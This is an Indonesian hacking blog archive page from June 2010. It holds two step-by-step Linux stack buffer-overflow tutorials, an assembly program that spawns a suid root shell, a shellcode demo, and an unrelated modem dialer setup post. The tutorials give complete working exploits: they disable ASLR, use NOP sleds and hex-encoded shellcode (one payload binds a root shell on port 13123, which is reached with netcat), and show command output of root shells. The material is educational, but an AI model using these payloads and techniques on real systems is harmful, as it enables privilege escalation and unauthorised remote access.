break a time, with break the c0de…

Archive for June, 2010

Linux buffer overflow II


Linux Buffer Overflow Tutorial
Edisi : Kedua

Penulis : gunslinger_
Tanggal : Mon Jun 28 21:38:14 WIT 2010

Konten :
1. Pendahuluan
2. Skenario
3. Fungsi getenv()
4. Exploitasi
5. Kesimpulan
6. Special thanks

— Pendahuluan
Pada tutorial edisi pertama saya menjelaskan tutorial buffer overflow berbuffer 400 byte.
anda bisa melihat tutorial sebelumnya disini -> http://www.exploit-db.com/papers/14069/
sekarang saya akan menjelaskan “bagaimana cara jika buffer lebih kecil dari ukuran payload kita terutama shellcode ?”
dan saya akan menjelaskan strateginya pada tutorial ini.

— Skenario
kita bisa lihat source aplikasi sebelumnya mirip pada source aplikasi tutorial ini.
hanya saja yang membedakan buffernya. kali ini aplikasi berbuffer 10 bytes.

sebelum melanjutkan experimen pada skenario tutorial ini, jangan lupa matikan randomisasi stack terlebih dahulu.

root@bt:~# cat /proc/sys/kernel/randomize_va_space
2
root@bt:~# echo 0 > /proc/sys/kernel/randomize_va_space
root@bt:~# cat /proc/sys/kernel/randomize_va_space
0
root@bt:~#

———————bof2.c————————–

#include <stdio.h>
#include <string.h>

int main(int argc, char** argv)
{
        char buffer[10];
        strcpy(buffer, argv[1]);

        return 0;
}

———————EOF—————————–

save dengan nama bof2.c ,compile program tersebut .
perhatian : pada saat mengompile tambahkan opsi -fno-stack-protector dan -mpreferred-stack-boundary=2.

root@bt:~# gcc -g -o bof2 -fno-stack-protector -mpreferred-stack-boundary=2 bof2.c

jadi, bagaimana cara pengexploitasiannya jika buffer sekecil itu ?
kita bisa gunakan “ENVIRONMENT VARIABLE” untuk menyimpan nopsled dan shellcode .
lalu kita ulangi address NOP sampai mengoverwrite register EIP.

langkah pertama, kita perlu menaruh shellcode ke bentuk binary.
saya akan gunakan shellcode binding port 13123 pada tutorial ini,
dan anda bisa melihat shellcode tersebut di sini : http://inj3ct0r.com/exploits/12608

root@bt:~/bof# echo -ne "\xeb\x11\x5e\x31\xc9\xb1\x65\x80\x6c\x0e\xff\x35\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x66\xf5\x66\x10\x66\x07\x85\x9f\x36\x9f\x37\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\xbe\xfb\x87\x9d\xf0\x37\x68\x78\xbe\x16\x9f\x45\x86\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\x87\x8b\xbe\x16\xe8\x39\xe5\x9b\x02\xb5\x87\x87\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\xbe\xf8\x66\xfe\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5\x87\x9d\x64\x64\xa8\x9d\x9d\x64\x97\x9e\xa3\xbe\x18\x87\x88\xbe\x16\xe5\x40\x02\xb5" > shellcode3.bin
root@bt:~/bof# cat shellcode3.bin
ë^1ɱelÿ5éuöëèêÿÿÿfõff67¾3øå¾ûð7hx¾E¾3øå¾è9å¾3øå¾øfþåtµvåtµvåtµdd¨d£¾?¾å@µroot@bt:~/bof#

selanjutnya, kita buat “ENVIRONMENT VARIABLE” berisi : 200 bytes NOPSLED + SHELLCODE

root@bt:~/bof# export PAYLOAD=$(perl -e 'print "\x90" x 200')$(cat shellcode.bin)
root@bt:~/bof# echo $PAYLOAD
ë^1ɱelÿ5éuöëèêÿÿÿfõff67¾3øå¾ûð7hx¾E¾3øå¾è9å¾3øå¾øfþåtµvåtµvåtµdd¨d£¾?¾å@µ
root@bt:~/bof#

ok, kita baru saja selesai menaruh PAYLOAD kita di “ENVIRONMENT VARIABLE”.

— Fungsi getenv()
sekarang kita gunakan getenv() pada bahasa c.
fungsi getenv() adalah untuk mendapatkan return address variable environment (get environment variable).
jadi kita menggunakan fungsi tersebut untuk mendapatkan return address PAYLOAD kita sebelumnya pada “ENVIRONMENT VARIABLE”.
dan source aplikasinya seperti berikut .

———————getenv.c————————–

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char** argv)
{
        printf("%s terletak pada address %p\n", argv[1], getenv(argv[1]));
        return (0);
}

———————EOF—————————–

yah sangat simple bukan?, namun sangat berguna.

lalu compile program tersebut

root@bt:~/bof# gcc -o getenv getenv.c
root@bt:~/bof# 

sekarang, kita bisa liat dimana alamat PAYLOAD kita berada.

root@bt:~/bof# ./getenv PAYLOAD
PAYLOAD terletak pada address 0xbffffe1e
root@bt:~/bof#

sudah jelas… kita mengetahui PAYLOAD terletak pada address 0xbffffe1e dengan mudah .
kemudian kita tambahkan, sebut saja 100 bytes karena kita harus menemukan alamat yang terletak dengan alamat pertengahan NOPSLED berada.

root@bt:~/bof# printf "%x\n" $((0xbffffe1e + 100))
bffffe82
root@bt:~/bof#

sudah kita dapatkan 0xbffffe1e + 100 = bffffe82 , lalu kita rubah ke bentuk little endian.
-> 82feffbf
lalu kita ubah ke bentuk shellcode
-> \x82\xfe\xff\xbf

— Eksploitasi
sekarang saatnya kita run PAYLOAD kita pada aplikasi yang vulnerable buffer overflow tersebut .

root@bt:~/bof# ./bof2 $(perl -e 'print "\x82\xfe\xff\xbf" x 10')
Segmentation fault
root@bt:~/bof#

kita mendapatkan segmentation fault karena kita tidak menggunakan sederetan perulangan address.
lalu bagaimana ? kita bisa gunakan NOP untuk mendorong (push) address dengan cara menaikan byte per byte.

root@bt:~/bof# ./bof2 $(perl -e 'print "\x90" . "\x82\xfe\xff\xbf" x 10')
Segmentation fault
root@bt:~/bof#

masih mendapatkan segmentation fault, coba kita naikan 1 byte demi byte lagi pada address NOP…

root@bt:~/bof# ./bof2 $(perl -e 'print "\x90" x 2 . "\x82\xfe\xff\xbf" x 10')

OoOoOpsss, program bof tidak exit ? apa yang terjadi ? apa shellcode kita tereksekusi dengan baik ?
sebelumnya kita menggunakan shellcode bindport pada port 13123 ,
coba kita buka tab konsole baru dan sambungkan dengan netcat .

root@bt:~# nc localhost 13123
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
hostname
bt
echo YUMMY!
YUMMY!

kita sudah berhasil lagi dalam mengexploitasi buffer overflow .

— Kesimpulan
kesimpulannya, bahwa seberapa kecil buffer pada aplikasi tetap memungkinkan terjadinya buffer overflow .
untuk mencegah terjadinya buffer overflow adalah dengan cara membatasi seberapa bytes input data yang dimasukan oleh user .

— Special thanks : devilzc0de crew and jasakom crew
: http://www.devilzc0de.org / http://www.devilzc0de.comhttp://www.jasakom.com , indonesianhacker.org, yogyacarderlink.web.id
: serverisdown.org, xc0de.or.id, echo.or.id, hacker-newbie.org, tecon-crew.org
: And all exploit database…


Linux Buffer Overflow Tutorial


Linux Buffer Overflow Tutorial
Edisi : Pertama

Penulis : gunslinger_
Tanggal : Sat Jun 26 20:27:41 WIT 2010

Konten :
1. Pendahuluan
2. Konsep exploitasi
3. Attack vector
3.1. NOP
3.2. NOPSLED
3.3. PAYLOAD
4. Special thanks

— Pendahuluan
Setelah saya banyak melakukan penelitian pada kernel linux yang baru – baru ini ,
terutama kernel 2.6.8 ke atas memang tidak mungkin untuk mempraktikan teknik exploitasi buffer overflow dengan cara lama .
maka dari itu saya menulis tutorial ini agar kita bisa mempraktikan “apa itu sebenarnya buffer overflow ?”
pada kernel 2.6.8 ke atas karena kita mendapatkan kernel terbaru pada operting system pada saat ini.
dengan tutorial ini, saya akan menjelaskan secara terperinci menjelaskan teknik exploitasi buffer overflow.

— Konsep Exploitasi buffer overflow
ok, sekarang kita lanjut saja ke topik utama. sekarang kita harus membuat program yang vulnerable terhadap serangan buffer overflow.

———————bof.c————————–

#include <stdio.h>
#include <string.h>

int main(int argc, char** argv)
{
        char buffer[400];
        strcpy(buffer, argv[1]);

        return 0;
}

———————EOF—————————–

kita save dengan nama bof.c .
kita lihat pada source berikut itu bahwa adanya fungsi strcpy() .
fungsi strcpy() sangat berbahaya karena tidak adanya pengecekan filter panjang data yang akan kita input.
ok, sekarang saatnya kita mematikan randomize_va_space memory tujuannya agar kita mudah mengalokasikan memory.
dengan cara seperti berikut.

root@bt:~# cat /proc/sys/kernel/randomize_va_space
2
root@bt:~# echo 0 > /proc/sys/kernel/randomize_va_space
root@bt:~# cat /proc/sys/kernel/randomize_va_space
0
root@bt:~#

sekarang saatnya kita meng – compile program tersebut.
perhatian : pada saat mengompile tambahkan opsi -fno-stack-protector dan -mpreferred-stack-boundary=2.
berikut caranya

root@bt:~# gcc -g -o bof -fno-stack-protector -mpreferred-stack-boundary=2 bof.c

sekarang saatnya kita mencari panjang string agar program si program mengalami crash.

root@bt:~# ./bof `perl -e 'print "A" x 400'`
root@bt:~# ./bof `perl -e 'print "A" x 403'`

seperti yang kita lihat, data tercopy kedalam buffer dan program exit secara normal.
dimana kita mengkopikan huruf “A” 400 – 403 bytes kedalam buffer.

root@bt:~# ./bof `perl -e 'print "A" x 404'`
Segmentation fault
root@bt:~# 

disitu kita tahu kita membutuhkan 404 panjang string agar si program mengalami crash .
lalu kemudian sekarang yang kita lakukan adalah kita mencari panjang string agar register EIP teroverwrite pada inputan kita.
EIP adalah poin awal dimana instruksi selanjutnya akan tereksekusi, maka jika EIP tersebut kita teroverwrite, kita bisa melakukan apa yang kita mau eksekusi pada saat itu.
sekarang, saatnya kita gunakan GNU debugger atau biasa disebut gdb.
perhatikan pada experiment berikut.

root@bt:~# gdb -q bof
(gdb) list
1       #include <stdio.h>
2       #include <string.h>
3
4       int main(int argc, char** argv)
5       {
6               char buffer[400];
7               strcpy(buffer, argv[1]);
8
9               return 0;
10      }
(gdb) run `perl -e 'print "A" x 404'`
Starting program: /root/bof `perl -e 'print "A" x 404'`

Program received signal SIGSEGV, Segmentation fault.
0xb7e86606 in __libc_start_main () from /lib/tls/i686/cmov/libc.so.6
(gdb) run `perl -e 'print "A" x 405'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/bof `perl -e 'print "A" x 405'`

Program received signal SIGSEGV, Segmentation fault.
0xb7e800a9 in ?? () from /lib/tls/i686/cmov/libc.so.6
(gdb)

hmmm terlihat bahwa kita belum mengoverwritenya kita coba lagi tambahkan 1 string

(gdb) run `perl -e 'print "A" x 406'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/bof `perl -e 'print "A" x 406'`

Program received signal SIGSEGV, Segmentation fault.
0xb7004141 in ?? ()
(gdb)

ok, disitu sekarang sudah terlihat kita sedikit lagi mengoverwrite total eip.
perhatikan -> 0xb7004141
disitu ada 4141 , 41 adalah huruf “A” dalam bilangan hexadesimal . namun kita perlu mengoverwrite total address EIP tersebut.

(gdb) run `perl -e 'print "A" x 407'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/bof `perl -e 'print "A" x 407'`

Program received signal SIGSEGV, Segmentation fault.
0x00414141 in ?? ()
(gdb)

sedikit lagi…

(gdb) run `perl -e 'print "A" x 408'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/bof `perl -e 'print "A" x 408'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)

disitu terlihat bahwa kita telah mengoverwrite total register EIP.
perhatikan -> 0x41414141
kita sudah berhasil mengoverwritenya dengan huruf “A” dengan panjang string 408.

(gdb) i r
eax            0x0      0
ecx            0xbffff0b7       -1073745737
edx            0x199    409
ebx            0xb7fc9ff4       -1208180748
esp            0xbffff250       0xbffff250
ebp            0x41414141       0x41414141
esi            0x8048400        134513664
edi            0x8048310        134513424
eip            0x41414141       0x41414141 <-- ter overwrite !!
eflags         0x210246 [ PF ZF IF RF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
(gdb)

sekarang yang perlu kita lakukan adalah dimana keberadaan register ESP (stack pointer).

(gdb) list 1
1       #include <stdio.h>
2       #include <string.h>
3
4       int main(int argc, char** argv)
5       {
6               char buffer[400];
7               strcpy(buffer, argv[1]);
8
9               return 0;
10      }
(gdb) b 7
Breakpoint 1 at 0x80483cd: file bof.c, line 7.
(gdb)

perlu diperhatikan kita perlu menggunakan dimana fungsi vulnerable strcpy() sebagai breakpoint untuk mengetahui dimana keberadaan register ESP.

(gdb) run test to see where esp is
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/bof test to see where esp is

Breakpoint 1, main (argc=7, argv=0xbffff434) at bof.c:7
7               strcpy(buffer, argv[1]);
(gdb) i r esp
esp            0xbffff210       0xbffff210
(gdb) 

esp terletak pada address 0xbffff210

— Attack vector
ok sekarang bagian pengexploitasinya. kita butuh membuat attack vector untuk pengexploitasiannya.
sekarang yang perlu dimengerti apa itu NOP , NOPSLED, PAYLOAD.

– NOP
pertama saya akan menjelaskan apa itu NOP.
NOP dalam bahasa assembly adalah no-op atau no operation sampai instruksi selanjutnya tereksekusi.
dengan kata lain NOP adalah bagian yang dilewati sampai instruksi yang benar2 tereksekusi.
disini kita pakai NOP untuk melancarkan attack sampai bertemu instruksi yang kita inginkan.
NOP dalam bentuk opcode adalah “90” atau “\x90” dalam bentuk shellcode.

– NOPSLED
kedua saya akan menjelaskan apa itu NOPSLED. NOPSLED adalah serentetan yang terdiri dari NOP sampai beberapa bytes.
contoh seperti `perl -e ‘print “\x90” x 40’`. maka kita akan mendapatkan “x90” sampai 40 bytes (40 kali).

– PAYLOAD
ketiga saya menjelaskan apa itu PAYLOAD. PAYLOAD adalah serentetan kode yang akan kita eksekusikan.
shellcode adalah sebagai PAYLOAD nya

selanjutnya kita akan memeriksa dimana NOPSLED akan di tempatkan.
kita ulangi address tersebut sampai register EIP teroverwrite.
dan akhirnya memaksa program untuk melanjutkan eksekusi pada alamat NOP.
lalu kita ambil alamat pada register ESP dan kurangi register tersebut. sebut saja bilangan itu 300.

root@bt:~# printf "%x\n" $((0xbffff210-300))
bffff0e4
root@bt:~#

alamat tersebut akan menempatkan kita pada NOPSLED.
sekarang yang kita butuhkan adalah mengkonversi alamat tersebut pada bentuk little endian.
-> e4f0ffbf
lalu kita jadikan ke bentuk shellcode.
-> \xe4\xf0\xff\xbf

sekarang saatnya kita menghitung berapa kali alamat tersebut harus di ulang.
kita tahu bahwa untuk mengoverwrite register EIP kita membutuhkan 408 bytes.

root@bt:~# print "%d\n" $((408 - 

kita kurangi dengan panjang NOPSLED kita. panjang NOPSLED kita adalah 200 bytes

root@bt:~# print "%d\n" $((408 - 200

shellcode yang akan kita gunakan shellcode yang akan memberikan shell. kita bisa pakai shellcode berikut :

"\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"

shellcode tersebut berukuran 28 bytes.
dan kurangi 28 bytes untuk shellcode kita.

root@bt:~# printf "%d\n" $((408 - 200 - 28))
180
root@bt:~#

jadi kita 180 bytes untuk mengulangi alamat tersebut.
karena address memiliki panjang 4 bytes. kita harus membaginya dengan 4.

root@bt:~# printf "%d\n" $((180/4))
45
root@bt:~#

ok kita telah dapatkan berapa kali yang kita butuhkan untuk mengoverwrite EIP. yaitu 45.

maka payload kita akan seperti berikut :

NOPSLED + SHELLCODE + ESP

`perl -e 'print "\x90" x 200 . "\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" . "\x04\xf1\xff\xbf" x 45'`

sekarang saatnya kita run paload kita tersebut langsung saja di debugger.

(gdb) run `perl -e 'print "\x90" x 200 . "\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" . "\x04\xf1\xff\xbf" x 45'`
Starting program: /root/bof `perl -e 'print "\x90" x 200 . "\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" . "\x04\xf1\xff\xbf" x 45'`

Breakpoint 1, main (argc=2, argv=0xbffff2d4) at bof.c:7
7               strcpy(buffer, argv[1]);
(gdb) continue
Continuing.
Executing new program: /bin/bash
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
sh-3.2# id
uid=0(root) gid=0(root) groups=0(root)
sh-3.2# echo WIN.
WIN.
sh-3.2# exit

Program exited normally.
(gdb) quit
root@bt:~#

selamat ! anda telah sukses mengexploitasi buffer overflow !

— special thanks : devilzc0de crew and jasakom crew
: http://www.devilzc0de.org / http://www.devilzc0de.comhttp://www.jasakom.com , indonesianhacker.org, yogyacarderlink.web.id
: serverisdown.org, xc0de.or.id, echo.or.id


cara setting telkomflash di backtrack


yah biar penulis juga ga lupa suatu saat nanti maka ga ada salahnya juga ditulis di mari hehehe…
ok berikut adalah langkah langkahnya…

pertama buka konsole
lalu ketik : sudo kate /etc/wvdial.conf
lalu ganti semua dan overwrite dengan script di bawah .

[Dialer Defaults]
Init1 = ATZ
Init2 = ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0
Init3 = AT+CGDCONT=1, \"IP\", \"internet\"
Modem Type = USB Modem
ISDN = 0
New PPPD = yes
Phone = *99#
Modem = /dev/ttyUSB0
Username = PPP
Password = PPP
Baud = 3600000
Auto DNS = 1

ok setelah itu save atau simpan.

lalu check dengan ketik : cat /etc/wvdial.conf
lalu kita akan mendapat seperti ini…

root@bt:/etc# cat wvdial.conf
[Dialer Defaults]
Init1 = ATZ
Init2 = ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0
Init3 = AT+CGDCONT=1, \"IP\", \"internet\"
Modem Type = USB Modem
ISDN = 0
New PPPD = yes
Phone = *99#
Modem = /dev/ttyUSB0
Username = PPP
Password = PPP
Baud = 3600000
Auto DNS = 1

ok berarti sudah benar perlu di perhatikan lakukanlah semua yang di tutorial ini dengan root atau sudo

lalu saatnya kita sambungkan koneksi kita. dengan mengetik : wvdial &
perhatian : jangan lupa dengan tanda dengan (&) agar wvdial yang kita jalankan tadi berjalan di background agar jika kita menutup konsole si wvdial tidak ikut tertutup .

ok berikut setelah kita mengetik wvdial & di konsole.

root@bt:~# wvdial &
[1] 6024
WvDial: Internet dialer version 1.60
--> Cannot get information for serial port.
--> Initializing modem.
--> Sending: ATZ
ATZ
OK
--> Sending: ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0
ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0
OK
--> Sending: AT+CGDCONT=1, "IP", "internet"
AT+CGDCONT=1, "IP", "internet"
OK
--> Modem initialized.
--> Sending: ATDT*99#
--> Waiting for carrier.
ATDT*99#
CONNECT
--> Carrier detected.  Waiting for prompt.
root@bt:~# --> Don't know what to do!  Starting pppd and hoping for the best.
--> Starting pppd at Thu Jun 24 13:08:50 2010
--> Pid of pppd: 6025
--> pppd: 0õÎ[08][08]øÎ[08]XøÎ[08]
--> Using interface ppp0
--> pppd: 0õÎ[08][08]øÎ[08]XøÎ[08]
--> pppd: 0õÎ[08][08]øÎ[08]XøÎ[08]
--> pppd: 0õÎ[08][08]øÎ[08]XøÎ[08]
--> pppd: 0õÎ[08][08]øÎ[08]XøÎ[08]
--> pppd: 0õÎ[08][08]øÎ[08]XøÎ[08]
--> pppd: 0õÎ[08][08]øÎ[08]XøÎ[08]
--> local  IP address 182.1.204.151
--> pppd: 0õÎ[08][08]øÎ[08]XøÎ[08]
--> remote IP address 10.64.64.64
--> pppd: 0õÎ[08][08]øÎ[08]XøÎ[08]
--> primary   DNS address 114.127.208.84
--> pppd: 0õÎ[08][08]øÎ[08]XøÎ[08]
--> secondary DNS address 202.3.208.11
--> pppd: 0õÎ[08][08]øÎ[08]XøÎ[08]
root@bt:~#

pada saat tersebut maka flash kita akan menyala . tidak berkedip – kedip lagi menandakan kita sudah terkoneksi ke internet .
ok di situ juga di jelaskan kita menggunakan koneksi modem (ppp0) dengan menggunakan ip 182.1.204.151 dan remote ipnya 10.64.64.64 . DNS utama : 114.127.208.84 dan DNS kedua : 202.3.208.11

ok anda bisa langsung menutup konsole anda dan buka browser . selamat berinternetan !


program setreuid 0,0 ~ execve(‘/bin/sh’,”,”) ~ exit()


berikut adalah shell dengan setreuid 0,0 dengan bahasa assembly…

; program setreuid 0,0 ~ sysexecve('/bin/sh','','') ~ exit()
; programmer gunslinger_ <yudha.gunslinger@gmail.com>

global _start

_start:

	nop		; no operasi							;syscall sys_setreuid(uid_t,uid_t)
	xor eax, eax	; bersihkan register eax					;
	mov al,70	; syscall nomer 70 setreuid					;
	mov ecx, edx	; edx kosong, lalu kopikan ke ecx jadi ecx kosong		;
	int 0x80	; interupsi kernel, kerjakan !					;

	jmp short end	; loncat tanpa kondisi ke end >-------------------------------------------------------------------+
															  |
	start:		; start terpanggil <--------------------------------------------------------------------------+	  |
	nop 		; no operasi										      |   |
	mov al,11	; syscall nomer 11 execve 								      |	  |				;syscall sys_execve(args1,args2,args3)
	pop ebx		; ambil dari stack<--------------------------------------------------------------------------------------------------------+	;
	mov ecx, edx	; edx kosong, lalu kopikan ke register ecx jadi ecx kosong			              |   |			   |	;
	int 0x80	; interupsi kernel, kerjakan !					                              |	  |			   |	;
													              |   |			   |
	xor eax, eax	; bersihkan register ecx								      |   |			   |	;syscall exit()
	inc eax		; increment eax, atau tambah eax 1 karena nilai eax 0 jadi eax menjadi 1 syscall nomer 1 exit |	  |			   |	;
	int 0x80	; interupsi kernel, kerjakan !								      |	  |			   |	;
														      |	  |			   |
	end:		; label start <-----------------------------------------------------------------------------------+ 			   |
	call start	; panggil start >-----------------------------------------------------------------------------+          		   |
	db '/bin/sh'	; masukan string '/bin/sh' ke stack >--------------------------------------------------------------------------------------+

kompile dengan

gunslinger@c0debreaker:~$ nasm -f elf shell.asm
gunslinger@c0debreaker:~$ ld -s -o shell shell.o

lalu beri suid root

gunslinger@c0debreaker:~$ sudo chown root:root shell
[sudo] password for gunslinger:
gunslinger@c0debreaker:~$ sudo chmod 4755 shell
gunslinger@c0debreaker:~$ ./shell
#

anda sudah mempunyai shell dengan akses root (suid root)


92 bytes displaying system temperature x86 linux shellcode


/*
Name   : 92 bytes displaying system temperature x86 linux shellcode
Date   : may, 31 2009
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web    : devilzc0de.com
blog   : gunslingerc0de.wordpress.com
tested on : linux debian
special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org), loneferret (exploit-db.com)
greetz to : flyff666, whitehat, ketek, chaer, peneter, cruz3n and all devilzc0de crew
*/

#include <stdio.h>

char *shellcode=
		"\x60\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x6e\x2f"
		"\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x68"
		"\x2d\x63\x63\x63\x89\xe1\x52\xeb\x07\x51\x53"
		"\x89\xe1\xcd\x80\x61\xe8\xf4\xff\xff\xff\x2f"
		"\x62\x69\x6e\x2f\x63\x61\x74\x20\x2f\x70\x72"
		"\x6f\x63\x2f\x61\x63\x70\x69\x2f\x74\x68\x65"
		"\x72\x6d\x61\x6c\x5f\x7a\x6f\x6e\x65\x2f\x54"
		"\x48\x52\x4d\x2f\x74\x65\x6d\x70\x65\x72\x61"
		"\x74\x75\x72\x65"; 		

int main()
{
	fprintf(stdout,"Length: %d\n",strlen(shellcode));
	(*(void (*)()) shellcode)();

return 0;
}